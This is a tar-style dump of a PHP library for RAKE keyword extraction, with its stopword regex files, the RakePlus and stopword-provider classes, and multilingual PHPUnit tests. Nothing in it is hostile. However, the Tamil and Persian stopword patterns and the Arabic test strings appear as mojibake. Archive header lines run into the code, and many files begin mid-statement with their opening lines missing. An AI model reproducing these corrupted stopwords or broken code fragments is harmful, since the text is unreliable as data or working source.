bà®…à®™à¯à®•à¯‡\b|\bà®…à®™à¯à®•à¯\b/i res/rake-php-plus/lang/fa_IR.pattern000064400000010275147577714370013360 0ustar00/\bيكي\b|\bيكديگر\b|\bيك\b|\bیک\b|\bيابد\b|\bيا\b|\bیا\b|\bهيچ\b|\bهیچ\b|\bهنوز\b|\bهنگامی\b|\bهنگامÙ\b|\bهنگام\b|\bهمين\b|\bهمین\b|\bهمه\b|\bهمواره\b|\bهمچون\b|\bهمچنين\b|\bهمچنان\b|\bهمان\b|\bهم\b|\bÙ‡Ùت\b|\bهستيم\b|\bهستند\b|\bهست\b|\bهزار\b|\bهرگز\b|\bهر\b|\bهايي\b|\bهاي\b|\bها\b|\bّه\b|\bوي\b|\bولی\b|\bÙˆÚ¯Ùˆ\b|\bوقتیکه\b|\bوقتي\b|\bوسطÙ\b|\bÙˆ(?!(-|'))\b|\bنيست\b|\bنيز\b|\bنه\b|\bنوعي\b|\bنمي\b|\bنمايد\b|\bنكرده\b|\bنظير\b|\bنشده\b|\bنشان\b|\bنزديك\b|\bنزدیکÙ\b|\bنزدÙ\b|\bنداشته\b|\bندارند\b|\bندارد\b|\bنخواهد\b|\bنخستين\b|\bنخست\b|\bنبود\b|\bنبايد\b|\bنام\b|\bناشي\b|\bميليون\b|\bميليارد\b|\bمي\b|\bمورد\b|\bمن\b|\bمگر\b|\bمقابل\b|\bمرسی\b|\bمردم\b|\bمدّتی\b|\bمختلÙ\b|\bمثلÙ\b|\bمثل\b|\bمانندÙ\b|\bمانند\b|\bمان\b|\bما\b|\bلطÙاً\b|\bگيري\b|\bگيرد\b|\bگويند\b|\bگويد\b|\bÚ¯Ùته\b|\bÚ¯Ùت\b|\bگروهي\b|\bگرÙته\b|\bگرÙت\b|\bگردد\b|\bگذاشته\b|\bگذاري\b|\bÚ©ÙŽÛŒ\b|\bÚ©ÛŒ\b|\bكه\b|\bÚ©Ù‡\b|\bكنيم\b|\bكنيد\b|\bكنند\b|\bكنم\b|\bكند\b|\bکنارÙ\b|\bكمتر\b|\bكل\b|\bكسي\b|\bکسی\b|\bکس\b|\bكرده\b|\bكردند\b|\bكردن\b|\bكردم\b|\bكرد\b|\bکدام\b|\bکجاست\b|\bکجا\b|\bقصدÙ\b|\bقبل\b|\bقابل\b|\bÙوق\b|\bÙكر\b|\bÙقط\b|\bغير\b|\bعنوانÙ\b|\bعلّتÙ\b|\bعقبÙ\b|\bطي\b|\bطور\b|\bطريق\b|\bطبقÙ\b|\bضمن\b|\bضدّÙ\b|\bصورت\b|\bشوند\b|\bشود\b|\bشناسي\b|\bشما\b|\bشش\b|\bشده\b|\bشدند\b|\bشدن\b|\bشد\b|\bشايد\b|\bشان\b|\bسوي\b|\bسویÙ\b|\bسوم\b|\bسمتÙ\b|\bسعي\b|\bسریÙ\b|\bسراسر\b|\bسپس\b|\bسازي\b|\bساخته\b|\bسابق\b|\bزيرا\b|\bزير\b|\bزیرÙ\b|\bزياد\b|\bريزي\b|\bروي\b|\bرویÙ\b|\bروزهاي\b|\bروب\b|\bرÙته\b|\bرÙت\b|\bراه\b|\bرا\b|\bديگري\b|\bديگران\b|\bديگر\b|\bدیگر\b|\bديروز\b|\bديده\b|\bدهند\b|\bدهد\b|\bده\b|\bدوم\b|\bدو\b|\bدنبالÙ\b|\bدرباره\b|\bدر\b|\bدانند\b|\bدانست\b|\bداشته\b|\bداشتند\b|\bداشتن\b|\bداشت\b|\bداريم\b|\bدارند\b|\bدارد\b|\bداده\b|\bدادند\b|\bدادن\b|\bداد\b|\bخیاه\b|\bخويش\b|\bخود\b|\bخواهيم\b|\bخواهند\b|\bخواهد\b|\bخواست\b|\bخدمات\b|\bخارجÙ\b|\bحق\b|\bحدودÙ\b|\bحتي\b|\bچیست\b|\bچيزي\b|\bچیزی\b|\bچیز\b|\bچهار\b|\bÚ†Ù‡\b|\bچون\b|\bچنين\b|\bچندین\b|\bچند\b|\bچگونه\b|\bچطور\b|\bچرا\b|\bجلویÙ\b|\bجلوگيري\b|\bجز\b|\bجريان\b|\bجديد\b|\bجدا\b|\bجايي\b|\bجاي\b|\bجا\b|\bتویÙ\b|\bتولÙ\b|\bتوسط\b|\bتوانند\b|\bتواند\b|\bتنها\b|\bتمامي\b|\bتمام\b|\bترين\b|\bتر\b|\bتحت\b|\bتان\b|\bتاكنون\b|\bتازه\b|\bتا\b|\bپيش\b|\bپیشÙ\b|\bپیش\b|\bپنج\b|\bپس\b|\bپاعینÙ\b|\bبين\b|\bبيشتري\b|\bبيشتر\b|\bبيش\b|\bبيست\b|\bبیرونÙ\b|\bبي\b|\bبی\b|\bبهترين\b|\bبه\b|\bبوده\b|\bبودند\b|\bبودن\b|\bبود\b|\bبندي\b|\bبنابراين\b|\bبلی\b|\bبله\b|\bبلكه\b|\bبلکه\b|\bبعضي\b|\bبعری\b|\bبعد\b|\bبسياري\b|\bبسيار\b|\bبروز\b|\bبرداري\b|\bبرخي\b|\bبرخوردار\b|\bبراي\b|\bبرایÙ\b|\bبراساس\b|\bبرابرÙ\b|\bبر\b|\bبدون\b|\bبايد\b|\bبالایÙ\b|\bبالا\b|\bباشيم\b|\bباشند\b|\bباشد\b|\bبارة\b|\bباره\b|\bبار\b|\bبا\b|\bاينكه\b|\bاين\b|\bايم\b|\bايشان\b|\bاي\b|\bاول\b|\bاو\b|\bانکه\b|\bاند\b|\bامسال\b|\bامروز\b|\bاما\b|\bام\b|\bالبتّه\b|\bالبته\b|\bاگر\b|\bاكنون\b|\bاش\b|\bاستÙاده\b|\bاست\b|\bاز\b|\bاثرÙ\b|\bآيد\b|\bآیا\b|\bآورده\b|\bآورد\b|\bآنها\b|\bآنكه\b|\bآنچه\b|\bآنجا\b|\bآنان\b|\bآن\b|\bآمده\b|\bآمد\b|\bآری\b|\bآره\b|\bآباد\b/i res/rake-php-plus/lang/tr_TR.php000064400000074033147577714370012546 0ustar00language = $language; $this->setLineTerminator("\n"); switch ($language) { case 'ckb_IQ': case 'ar_AE': $this->setSentenceRegEx('[-؛؟،“.!?,;:\t\"\(\)]'); break; default: $this->setSentenceRegEx('[.!?,;:\t\"\(\)]'); } } /** * Instantiates a language parse options instance. * * @param string $language * * @return $this */ public static function create($language = 'en_US') { return (new self($language)); } /** * Returns the language that was specified when instantiating the options class. * * @return string */ public function getLanguage() { return $this->language; } /** * Set the text parsing options. * * @param string $sentence_regex The regular expression to use when * splitting sentences. * * @return $this */ public function setSentenceRegEx($sentence_regex) { $this->sentence_regex = $sentence_regex; return $this; } /** * Returns the regular expression that is used to split sentences. * * @return string */ public function getSentenceRegex() { return $this->sentence_regex; } /** * Returns the line terminator that is typically used in the source text. * * @return string */ public function getLineTerminator() { return $this->line_terminator; } /** * Sets the line terminator that is typically used in the source text. * * @param string $line_terminator * * @return $this */ public function setLineTerminator($line_terminator) { $this->line_terminator = $line_terminator; return $this; } } res/rake-php-plus/src/ILangParseOptions.php000064400000002330147577714370014712 0ustar00mb_support = extension_loaded('mbstring'); $this->setMinLength($phrase_min_length); $this->setFilterNumerics($filter_numerics); if ($parseOptions === null) { $this->parseOptions = LangParseOptions::create($stopwords); } else if ($parseOptions instanceof ILangParseOptions) { $this->parseOptions = $parseOptions; } else { throw new InvalidArgumentException("The \$parseOptions argument must be an instance of ILangParseOptions."); } $this->sentence_regex = $this->parseOptions->getSentenceRegex(); $this->line_terminator = $this->parseOptions->getLineTerminator(); if (!is_null($text)) { $this->extract($text, $stopwords); } } /** * Instantiates a RakePlus instance and extracts * the key phrases from the text. * * If $stopwords is a string the method will: * * 1) Determine if it is has a .pattern or .php extension and if * so will attempt to load the stopwords from the specified path * and filename. * 2) If it does not have a .pattern or .php extension, it will assume * that a language string was specified and will then attempt to * read the stopwords from lang/xxxx.pattern or lang/xxxx.php, where * xxxx is the language string (default: en_US) * * If $stopwords os an array it will simply use the array of stopwords * as provided. * * If $stopwords is a derived instance of StopwordAbstract it will simply * retrieve the stopwords from the instance. * * @param string|null $text Text to turn into keywords/phrases. * @param AbstractStopwordProvider|string|array $stopwords Stopwords to use. * @param int $phrase_min_length Minimum keyword/phrase length. * @param bool $filter_numerics Filter out numeric numbers. * @param null|LangParseOptions $parseOptions Additional text parsing options, see: * @LangParseOptions * * @return RakePlus */ public static function create($text, $stopwords = 'en_US', $phrase_min_length = 0, $filter_numerics = true, $parseOptions = null) { return (new self($text, $stopwords, $phrase_min_length, $filter_numerics, $parseOptions)); } /** * Extracts the key phrases from the text. * * If $stopwords is a string the method will: * * 1) Determine if it is has a .pattern or .php extension and if * so will attempt to load the stopwords from the specified path * and filename. * 2) If it does not have a .pattern or .php extension, it will assume * that a language string was specified and will then attempt to * read the stopwords from lang/xxxx.pattern or lang/xxxx.php, where * xxxx is the language string (default: en_US) * * If $stopwords os an array it will simply use the array of stopwords * as provided. * * If $stopwords is a derived instance of StopwordAbstract it will simply * retrieve the stopwords from the instance. * * @param string $text * @param AbstractStopwordProvider|string|array $stopwords * * @return RakePlus */ public function extract($text, $stopwords = 'en_US') { if ($text != '') { if (is_array($stopwords)) { $this->pattern = StopwordArray::create($stopwords)->pattern(); } else if (is_string($stopwords)) { if (is_null($this->pattern) || ($this->language != $stopwords)) { $extension = mb_strtolower(pathinfo($stopwords, PATHINFO_EXTENSION)); if (empty($extension)) { // First try the .pattern file $this->language_file = StopwordsPatternFile::languageFile($stopwords); if (file_exists($this->language_file)) { $this->pattern = StopwordsPatternFile::create($this->language_file)->pattern(); } else { $this->language_file = StopwordsPHP::languageFile($stopwords); $this->pattern = StopwordsPHP::create($this->language_file)->pattern(); } $this->language = $stopwords; } else if ($extension == 'pattern') { $this->language = $stopwords; $this->language_file = $stopwords; $this->pattern = StopwordsPatternFile::create($this->language_file)->pattern(); } else if ($extension == 'php') { $language_file = $stopwords; $this->language = $stopwords; $this->language_file = $language_file; $this->pattern = StopwordsPHP::create($this->language_file)->pattern(); } } } elseif (is_subclass_of($stopwords, 'DonatelloZa\RakePlus\AbstractStopwordProvider')) { $this->pattern = $stopwords->pattern(); } else { throw new InvalidArgumentException('Invalid stopwords list provided for RakePlus.'); } if ($this->mb_support) { $sentences = $this->splitSentencesMb($text); $phrases = $this->getPhrasesMb($sentences, $this->pattern); } else { $sentences = $this->splitSentences($text); $phrases = $this->getPhrases($sentences, $this->pattern); } $word_scores = $this->calcWordScores($phrases); $this->phrase_scores = $this->calcPhraseScores($phrases, $word_scores); } return $this; } /** * Returns the extracted phrases. * * @return array */ public function get() { return array_keys($this->phrase_scores); } /** * Returns the phrases and a score for each of * the phrases as an associative array. * * @return array */ public function scores() { return $this->phrase_scores; } /** * Returns only the unique keywords within the * phrases instead of the full phrases itself. * * @return array */ public function keywords() { $keywords = []; $phrases = $this->get(); foreach ($phrases as $phrase) { $words = explode(' ', $phrase); foreach ($words as $word) { // This may look weird to the casual observer // but we do this since PHP will convert string // array keys that look like integers to actual // integers. This may cause problems further // down the line when a developer attempts to // append arrays to one another and one of them // have a mix of integer and string keys. if (!$this->filter_numerics || ($this->filter_numerics && !is_numeric($word))) { if ($this->min_length === 0 || mb_strlen($word) >= $this->min_length) { $keywords[$word] = $word; } } } } return array_values($keywords); } /** * Sorts the phrases by score, use 'asc' or 'desc' to specify a * sort order. * * @param string $order Default is 'asc' * * @return $this */ public function sortByScore($order = self::ORDER_ASC) { if ($order == self::ORDER_DESC) { arsort($this->phrase_scores); } else { asort($this->phrase_scores); } return $this; } /** * Sorts the phrases alphabetically, use 'asc' or 'desc' to specify a * sort order. * * @param string $order Default is 'asc' * * @return $this */ public function sort($order = self::ORDER_ASC) { if ($order == self::ORDER_DESC) { krsort($this->phrase_scores); } else { ksort($this->phrase_scores); } return $this; } /** * Returns the current language being used. * * @return string */ public function language() { return $this->language; } /** * Returns the language file that was loaded. Will * be null if no file is loaded. * * @return string|null */ public function languageFile() { return $this->language_file; } /** * Splits the text into an array of sentences. * * @param string $text * * @return array */ private function splitSentences($text) { return preg_split('/' . $this->sentence_regex . '/', preg_replace('/' . $this->line_terminator . '/', ' ', $text)); } /** * Splits the text into an array of sentences. Uses mb_* functions. * * @param string $text * * @return array */ private function splitSentencesMb($text) { return mb_split($this->sentence_regex, mb_ereg_replace($this->line_terminator, ' ', $text)); } /** * Split sentences into phrases by using the stopwords. * * @param array $sentences * @param string $pattern * * @return array */ private function getPhrases(array $sentences, $pattern) { $results = []; foreach ($sentences as $sentence) { $phrases_temp = preg_replace($pattern, '|', $sentence); $phrases = explode('|', $phrases_temp); foreach ($phrases as $phrase) { $phrase = mb_strtolower(trim($phrase)); if (!empty($phrase)) { if (!$this->filter_numerics || ($this->filter_numerics && !is_numeric($phrase))) { if ($this->min_length === 0 || mb_strlen($phrase) >= $this->min_length) { $results[] = $phrase; } } } } } return $results; } /** * Split sentences into phrases by using the stopwords. Makes use of * PHP's mb_* functions. * * @param array $sentences * @param string $pattern * * @return array */ private function getPhrasesMb(array $sentences, $pattern) { $results = []; foreach ($sentences as $sentence) { $phrases_temp = mb_eregi_replace($pattern, '|', $sentence); $phrases = explode('|', $phrases_temp); foreach ($phrases as $phrase) { $phrase = mb_strtolower(preg_replace('/^[\pZ\pC]+|[\pZ\pC]+$/u', '', $phrase)); if (!empty($phrase)) { if (!$this->filter_numerics || ($this->filter_numerics && !is_numeric($phrase))) { if ($this->min_length === 0 || mb_strlen($phrase) >= $this->min_length) { $results[] = $phrase; } } } } } return $results; } /** * Calculate a score for each word. * * @param array $phrases * * @return array */ private function calcWordScores($phrases) { $frequencies = []; $degrees = []; foreach ($phrases as $phrase) { $words = $this->splitPhraseIntoWords($phrase); $words_count = count($words); $words_degree = $words_count - 1; foreach ($words as $w) { $frequencies[$w] = (isset($frequencies[$w])) ? $frequencies[$w] : 0; $frequencies[$w] += 1; $degrees[$w] = (isset($degrees[$w])) ? $degrees[$w] : 0; $degrees[$w] += $words_degree; } } foreach ($frequencies as $word => $freq) { $degrees[$word] += $freq; } $scores = []; foreach ($frequencies as $word => $freq) { $scores[$word] = (isset($scores[$word])) ? $scores[$word] : 0; $scores[$word] = $degrees[$word] / (float)$freq; } return $scores; } /** * Calculate score for each phrase by word scores. * * @param array $phrases * @param array $scores * * @return array */ private function calcPhraseScores($phrases, $scores) { $keywords = []; foreach ($phrases as $phrase) { $keywords[$phrase] = (isset($keywords[$phrase])) ? $keywords[$phrase] : 0; $words = $this->splitPhraseIntoWords($phrase); $score = 0; foreach ($words as $word) { $score += $scores[$word]; } $keywords[$phrase] = $score; } return $keywords; } /** * Split a phrase into multiple words and returns them * as an array. * * @param string $phrase * * @return array */ private function splitPhraseIntoWords($phrase) { return array_filter(preg_split('/\W+/u', $phrase, -1, PREG_SPLIT_NO_EMPTY), function ($word) { return !is_numeric($word); }); } /** * Returns the minimum number of letters each phrase/keyword must have. * * @return int */ public function getMinLength() { return $this->min_length; } /** * Sets the minimum number of letters each phrase/keyword must have. * * @param int $min_length * * @return RakePlus */ public function setMinLength($min_length) { if ((int)$min_length < 0) { throw new InvalidArgumentException('Minimum phrase length must be greater than or equal to 0.'); } $this->min_length = (int)$min_length; return $this; } /** * Sets whether numeric-only phrases/keywords should be filtered * out or not. * * @param $filter_numerics * * @return RakePlus */ public function setFilterNumerics($filter_numerics = true) { $this->filter_numerics = $filter_numerics; return $this; } /** * Returns whether numeric-only phrases/keywords will be filtered * out or not. * * @return bool */ public function getFilterNumerics() { return $this->filter_numerics; } } res/rake-php-plus/src/StopwordsPHP.php000064400000006050147577714370013730 0ustar00filename = $filename; $this->stopwords = $this->loadLangPHPFile($filename); $this->pattern = $this->buildPatternFromArray($this->stopwords); } /** * Constructs a new instance of the StopwordsPHP class. * * @param string $filename * * @return StopwordsPHP */ public static function create($filename) { return (new self($filename)); } /** * Constructs a new instance of the StopwordsPHP class * but automatically determines the filename to use * based on the language string provided. * * The function looks in the ./lang directory for a file called * xxxx.php file where xxxx is the language string you specified. * * @param string $language (Default is en_US) * * @return StopwordsPHP */ public static function createFromLanguage($language = 'en_US') { return (new self(self::languageFile($language))); } /** * Returns the full path to the language file containing the * stopwords. * * @param string $language * * @return string */ public static function languageFile($language = 'en_US') { return __DIR__ . '/../lang/' . $language . '.php'; } /** * Returns a string containing a regular expression pattern. * * @return string */ public function pattern() { return $this->pattern; } /** * Returns an array of stopwords. * * @return array */ public function stopwords() { return $this->stopwords; } /** * Returns the originally supplied filename * * @return string */ public function filename() { return $this->filename; } /** * Loads the specified language file and returns with the results. * * @param string $language_file * * @return array */ protected function loadLangPHPFile($language_file) { if (!file_exists($language_file)) { throw new \RuntimeException('Could not find the RAKE stopwords file: ' . $language_file); } else { /** @noinspection PhpIncludeInspection */ $stopwords = include($language_file); if (is_array($stopwords)) { if (count($stopwords) < 1) { throw new \RuntimeException('No words found in RAKE stopwords file: ' . $language_file); } else { return $stopwords; } } else { throw new \RuntimeException('Invalid results retrieved from RAKE stopwords file: ' . $language_file); } } } }res/rake-php-plus/src/StopwordArray.php000064400000002273147577714370014177 0ustar00 0) { $this->stopwords = $stopwords; $this->pattern = $this->buildPatternFromArray($stopwords); } else { throw new \RuntimeException('The language array can not be empty.'); } } /** * Constructs a new instance of the StopwordArray class. * * @param array $stopwords * * @return StopwordArray */ public static function create(array $stopwords) { return (new self($stopwords)); } /** * Returns a string containing a regular expression pattern. * * @return string */ public function pattern() { return $this->pattern; } /** * Returns an array of stopwords. * * @return array */ public function stopwords() { return $this->stopwords; } }res/rake-php-plus/src/StopwordsPatternFile.php000064400000005470147577714370015523 0ustar00filename = $filename; $this->pattern = $this->loadLangPatternFile($filename); } /** * Constructs a new instance of the StopwordsPatternFile class. * * @param string $filename * * @return StopwordsPatternFile */ public static function create($filename) { return (new self($filename)); } /** * Constructs a new instance of the StopwordsPHP class * but automatically determines the filename to use * based on the language string provided. * * The function looks in the ./lang directory for a file called * xxxx.pattern file where xxxx is the language string you specified. * * @param string $language (Default is en_US) * * @return StopwordsPatternFile */ public static function createFromLanguage($language = 'en_US') { return (new self(self::languageFile($language))); } /** * Returns the full path to the language file containing the * stopwords. * * @param string $language * * @return string */ public static function languageFile($language = 'en_US') { return __DIR__ . '/../lang/' . $language . '.pattern'; } /** * Returns a string containing a regular expression pattern. * * @return string */ public function pattern() { return $this->pattern; } /** * Returns the originally supplied filename * * @return string */ public function filename() { return $this->filename; } /** * Loads the specified language file and returns with the results. * * @param string $language_file * * @return array|false */ protected function loadLangPatternFile($language_file) { if (!file_exists($language_file)) { throw new \RuntimeException('Could not find the stopwords file: ' . $language_file); } else { if (extension_loaded('mbstring')) { // Trim leading "/" character and trailing "/i" if it exists in the string $pattern = trim(file_get_contents($language_file)); if (mb_substr($pattern, 0, 1) == '/' && mb_substr($pattern, -2) == '/i') { return mb_substr($pattern, 1, -2); } else { return $pattern; } } else { return file_get_contents($language_file); } } } }res/rake-php-plus/src/AbstractStopwordProvider.php000064400000001714147577714370016376 0ustar00get(); $this->assertCount(6, $phrases); $this->assertContains('l\'arabie saoudite', $phrases); $this->assertContains('l\'accueil', $phrases); $this->assertContains('dakar s\'inscrit', $phrases); $this->assertContains('plan visant', $phrases); $this->assertContains('préparer l\'', $phrases); $this->assertContains('-pétrole', $phrases); } } res/rake-php-plus/tests/LangParseOptionsTest.php000064400000003452147577714370016022 0ustar00assertEquals('en_US', $options->getLanguage()); $this->assertEquals('[.!?,;:\t\"\(\)]', $options->getSentenceRegex()); $this->assertEquals("\n", $options->getLineTerminator()); } public function testUnknownLanguageConstruct() { $options = LangParseOptions::create('en_Whatever'); $this->assertEquals('en_Whatever', $options->getLanguage()); $this->assertEquals('[.!?,;:\t\"\(\)]', $options->getSentenceRegex()); $this->assertEquals("\n", $options->getLineTerminator()); } public function test_en_USLanguageConstruct() { $options = LangParseOptions::create('en_US'); $this->assertEquals('en_US', $options->getLanguage()); $this->assertEquals('[.!?,;:\t\"\(\)]', $options->getSentenceRegex()); $this->assertEquals("\n", $options->getLineTerminator()); } public function test_ar_AE_LanguageConstruct() { $options = LangParseOptions::create('ar_AE'); $this->assertEquals('ar_AE', $options->getLanguage()); $this->assertEquals('[-؛؟،“.!?,;:\t\"\(\)]', $options->getSentenceRegex()); $this->assertEquals("\n", $options->getLineTerminator()); } public function test_ckb_IQ_LanguageConstruct() { $options = LangParseOptions::create('ckb_IQ'); $this->assertEquals('ckb_IQ', $options->getLanguage()); $this->assertEquals('[-؛؟،“.!?,;:\t\"\(\)]', $options->getSentenceRegex()); $this->assertEquals("\n", $options->getLineTerminator()); } } res/rake-php-plus/tests/lang_ar_AE_Test.php000064400000011100147577714370014666 0ustar00get(); $this->assertCount(2, $phrases); $this->assertContains('يا أمجد', $phrases); $this->assertContains('اÙتح الباب', $phrases); } public function testFullStopInArabicPhrase() { $text = ".ذهب الÙتى إلى الحديقة ليلعب مع أصدقائه"; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); $this->assertCount(2, $phrases); $this->assertContains('ذهب الÙتى إلى الحديقة ليلعب', $phrases); $this->assertContains('أصدقائه', $phrases); } public function testQuotationsInArabicPhrase() { // Note that this test uses mixed (") marks, i.e. a quotation that starts // with Unicode character %U201C and ends with a standard ASCII (") $text = "“.قال عماد لأخيه : \"لا تنس أنني سأكون دائمًا معك، Ùلا داعي للقلق"; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); $this->assertCount(3, $phrases); $this->assertContains('عماد لأخيه', $phrases); $this->assertContains('تنس أنني سأكون دائمًا معك', $phrases); } public function testRoundBracketsInArabicPhrase() { $text = ".الظرو٠الطبيعية القاسية (البرد الشديد ثم الجÙاÙ) Ø£Ùسدت موسم الÙواكه هذا العام"; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); $this->assertCount(5, $phrases); $this->assertContains('الظرو٠الطبيعية القاسية', $phrases); $this->assertContains('البرد الشديد', $phrases); $this->assertContains('الجÙاÙ', $phrases); $this->assertContains('Ø£Ùسدت موسم الÙواكه', $phrases); $this->assertContains('العام', $phrases); } public function testColonInArabicPhrase() { $text = "“.قال عماد لأخيه : \"لا تنس أنني سأكون دائمًا معك، Ùلا داعي للقلق"; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); $this->assertCount(3, $phrases); $this->assertContains('عماد لأخيه', $phrases); $this->assertContains('تنس أنني سأكون دائمًا معك', $phrases); $this->assertContains('Ùلا داعي للقلق', $phrases); } public function testDashesAndQuestionMarkInArabicPhrase() { $text = "هل أعدت لندى ساعتها التي نسيتها؟- بالطبع، أعدتها لها بالأمس- ممتاز-"; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); // $this->assertContains('', $phrases); $this->assertCount(6, $phrases); $this->assertContains('هل أعدت لندى ساعتها', $phrases); $this->assertContains('نسيتها', $phrases); $this->assertContains('بالطبع', $phrases); $this->assertContains('أعدتها', $phrases); $this->assertContains('بالأمس', $phrases); $this->assertContains('ممتاز', $phrases); } public function testExclamationMarkInArabicPhrase() { $text = "“.قال عماد لأخيه : \"لا تنس أنني سأكون دائمًا معك، Ùلا داعي للقلق"; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); $this->assertCount(3, $phrases); $this->assertContains('عماد لأخيه', $phrases); $this->assertContains('تنس أنني سأكون دائمًا معك', $phrases); $this->assertContains('Ùلا داعي للقلق', $phrases); } public function testSemicolonInArabicPhrase() { $text = "اجتهد الطالب ÙÙŠ مذاكرته، Ùكان الأول على رÙاقه."; $phrases = RakePlus::create($text, 'ar_AE', 0, false)->get(); $this->assertCount(4, $phrases); $this->assertContains('اجتهد الطالب', $phrases); $this->assertContains('مذاكرته', $phrases); $this->assertContains('Ùكان الأول', $phrases); $this->assertContains('رÙاقه', $phrases); } } res/rake-php-plus/tests/bootstrap.php000064400000000303147577714370013737 0ustar00get(); $this->assertCount(19, $phrases); $this->assertContains('saritha', $phrases); $this->assertContains('viendo', $phrases); $this->assertContains('película', $phrases); $this->assertContains('bollywood', $phrases); $this->assertContains('novio chris', $phrases); $this->assertContains('películas', $phrases); $this->assertContains('filmadas', $phrases); $this->assertContains('lengua hindi', $phrases); $this->assertContains('industria cinematográfica', $phrases); $this->assertContains('sede', $phrases); $this->assertContains('mumbai', $phrases); $this->assertContains('india', $phrases); $this->assertContains('\'b\'', $phrases); $this->assertContains('bollywood viene', $phrases); $this->assertContains('\'bombay\'', $phrases); $this->assertContains('antiguo nombre', $phrases); $this->assertContains('películas tradicionales', $phrases); $this->assertContains('intención', $phrases); $this->assertContains('realistas', $phrases); } public function testKeywordsMinimumLength() { $text = "Saritha está viendo una película de Bollywood con su novio Chris. " . "Las películas de Bollywood son filmadas en lengua hindi por la industria " . "cinematográfica con sede en Mumbai, India. La 'B' de Bollywood viene de 'Bombay', " . "el antiguo nombre de Mumbai. Las películas tradicionales de Bollywood no tienen " . "la intención de ser realistas."; $rake = RakePlus::create($text, 'es_AR', 8, false); $keywords = $rake->sortByScore('desc')->keywords(); $this->assertCount(10, $keywords); $this->assertContains('industria', $keywords); $this->assertContains('cinematográfica', $keywords); $this->assertContains('películas', $keywords); $this->assertContains('tradicionales', $keywords); $this->assertContains('bollywood', $keywords); $this->assertContains('película', $keywords); $this->assertContains('filmadas', $keywords); $this->assertContains('\'bombay\'', $keywords); $this->assertContains('intención', $keywords); $this->assertContains('realistas', $keywords); } public function testKeywordsWithNumbers() { $text = "6462 Little Crest Suite 413, Lake Carlietown, WA 12643"; $keywords = RakePlus::create($text, 'es_AR', 0, false)->keywords(); $this->assertCount(9, $keywords); $this->assertContains('6462', $keywords); $this->assertContains('little', $keywords); $this->assertContains('crest', $keywords); $this->assertContains('suite', $keywords); $this->assertContains('lake', $keywords); $this->assertContains('carlietown', $keywords); $this->assertContains('wa', $keywords); $this->assertContains('12643', $keywords); foreach ($keywords as $keyword) { $this->assertInternalType('string', $keyword); } } public function testNumberedKeywordLimitedLengths() { $text = "6462 Little Crest Suite 413, Lake Carlietown, WA 12643"; $keywords = RakePlus::create($text, 'es_AR', 3, true)->keywords(); $this->assertCount(5, $keywords); $this->assertContains('little', $keywords); $this->assertContains('crest', $keywords); $this->assertContains('suite', $keywords); $this->assertContains('lake', $keywords); $this->assertContains('carlietown', $keywords); } } res/rake-php-plus/tests/test_en_US.php000064400000022242147577714370014000 0ustar00assertInstanceOf(RakePlus::class, $rake, 'RakePlus::create() returned invalid instance'); } /** * @expectedException RuntimeException */ public function testEmptyLanguage() { RakePlus::create("Hello World", ""); } /** * @expectedException RuntimeException */ public function testInvalidLanguage() { RakePlus::create("Hello World", "blah"); } /** * @expectedException InvalidArgumentException */ public function testNullLanguage() { RakePlus::create("Hello World", null); } /** * @expectedException RuntimeException */ public function testInvalidLangReturnStringFile() { RakePlus::create("Hello World", __DIR__ . '/test_string_lang.php'); } /** * @expectedException RuntimeException */ public function testInvalidLangReturnEmptyArrayFile() { RakePlus::create("Hello World", __DIR__ . '/test_empty_array_lang.php'); } /** * @expectedException RuntimeException */ public function testEmptyLanguageArray() { RakePlus::create("Hello World", []); } /** * @expectedException RuntimeException */ public function testNonExistingPatternFile() { RakePlus::create("Hello World", 'file_does_not_exist.pattern'); } public function testCreateWithNoText() { $rake = new RakePlus(); $phrases = $rake->get(); $this->assertEmpty($phrases, "Phrases is supposed to be an empty array."); $scores = $rake->scores(); $this->assertEmpty($scores, "Scores is supposed to be an empty array."); $sorted_phrases = $rake->sort()->get(); $this->assertEmpty($sorted_phrases, "Sorted phrases is supposed to be an empty array."); $sorted_scores = $rake->sortByScore()->scores(); $this->assertEmpty($sorted_scores, "Sorted scores is supposed to be an empty array."); } public function testSortInstance() { $rake = RakePlus::create("Hello World")->sort(); $this->assertInstanceOf(RakePlus::class, $rake, 'RakePlus::create()->sort() returned invalid instance'); } public function testSortByScoreInstance() { $rake = RakePlus::create("Hello World")->sortByScore(); $this->assertInstanceOf(RakePlus::class, $rake, 'RakePlus::create()->sortByScore() returned invalid instance'); } public function testPhrasesGetType() { $phrases = RakePlus::create("Hello World")->get(); $this->assertInternalType('array', $phrases, 'RakePlus::create()->get() array expected'); } public function testScoresGetType() { $scores = RakePlus::create("Hello World")->scores(); $this->assertInternalType('array', $scores, 'RakePlus::create()->scores() array expected'); } public function testLanguage() { $language = RakePlus::create("Hello World")->language(); $this->assertEquals("en_US", $language); } public function testLanguageFile() { $language_file = RakePlus::create("Hello World")->languageFile(); $this->assertContains("/lang/en_US.pattern", $language_file); } public function testArrayProvider() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordArray::create(['of', 'a', 'and', 'set', 'are', 'for']); RakePlus::create($text, $stopwords); } public function testNonMbPhrases() { self::$mb_support = false; $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; RakePlus::create($text)->get(); } public function testGetMinLength() { $rake = RakePlus::create("Hello World")->setMinLength(20); $this->assertEquals(20, $rake->getMinLength()); } /** * @expectedException InvalidArgumentException */ public function testSetInvalidMinLength() { RakePlus::create("Hello World")->setMinLength(-1); } public function testPhrasesExtract() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $phrases = RakePlus::create($text)->get(); $this->assertContains('algorithms', $phrases); $this->assertContains('compatibility', $phrases); $this->assertContains('components', $phrases); $this->assertContains('considered', $phrases); $this->assertContains('construction', $phrases); $this->assertContains('criteria', $phrases); $this->assertContains('linear diophantine equations', $phrases); $this->assertContains('minimal generating sets', $phrases); 